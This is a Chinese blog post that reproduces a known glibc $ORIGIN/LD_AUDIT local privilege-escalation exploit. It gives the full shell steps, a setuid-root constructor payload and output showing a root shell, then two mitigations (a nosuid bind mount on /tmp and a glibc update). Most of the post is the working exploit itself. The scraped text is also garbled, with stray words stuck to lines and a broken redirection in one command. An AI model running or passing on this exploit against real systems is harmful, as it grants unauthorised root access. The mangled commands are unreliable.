linux gcc loudong

五事九思 (大連Linux主機維護)

大連linux維護qq羣:287800525linux

日誌

 
 
 

linux gcc++漏洞:普通用戶得到root權限  

2012-02-06 10:22:38|  分類: linux安全|舉報|字號 訂閱c++

 
 

 

經我測試在RHEL5 / CentOS5 / FC13都成功了。

首先介紹下一下具體步驟中涉及到的2個頻繁的出現的詞語:web

taviso:做者 Tavis Ormandy 的簡稱,Google信息安全工程師 我的微博:http://my.opera.com/taviso/blog/ http://twitter.com/taviso安全

 

exploit:本身建立的目錄,表意漏洞利用,能夠取任何名字。bash

原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path 詳見做者博客ide

mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3/tmp/exploit/target
ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target*

rm -rf /tmp/exploit/

ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted)

cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D
gcc -w -fPIC -shared -o /tmp/exploit payload.c
ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(rootgid=500(taviso)

看到了吧!是否是很恐怖。如下有2種解決辦法:測試

1,綁定目錄ui

須要理解一下nosuid的原理:url

個人理解是:好比/etc/passwd這個文件,原本只有root有權限修改,可是用戶自己也能夠去修改本身的密碼,這就是一種「超出它自己權限的行爲」,spa

nosuid就是爲了中止這種提高特權的辦法。好比/tmp目錄就有這樣的權限,咱們就須要對它控制。

  mount -o bind /tmp /tmp
 mount -o remount,bind,nosuid /tmp /tmp

2,升級glibc版本(紅帽官方提供的解決辦法)

yum update  glibc
相關文章
相關標籤/搜索